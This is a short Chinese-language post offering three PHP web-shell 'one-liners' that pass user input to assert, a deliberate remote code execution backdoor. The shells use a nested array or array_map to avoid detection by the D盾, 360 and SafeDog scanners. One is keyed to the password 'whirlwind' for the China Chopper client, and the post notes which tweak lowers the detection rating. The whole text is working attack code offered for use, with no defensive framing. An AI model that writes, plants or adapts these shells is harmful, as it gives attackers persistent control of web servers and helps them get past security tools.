D盾，他不认识二维数组，所以就很轻松绕过了。  对了 还有360哦~  测试了下安全狗，也查不出来，，。

<?php 
$item['wind'] = 'assert'; 
$array[] = $item; 
$array[0]['wind']($_POST['whirlwind']);  //密码whirlwind 菜刀 
?>

过D盾PHP一句话木马

<?php 
$item['wind'] = 'assert'; 
$array[] = $item; 
$array[0]['wind'](''.$_POST['whirlwind']);
?>

这样改，立马就变成1个等级的了。

过D盾很容易，当然下面还提供一个0等级就的。

<?php
$a='assert';
array_map("$a",$_REQUEST);
?>

密码随便= =!你懂的!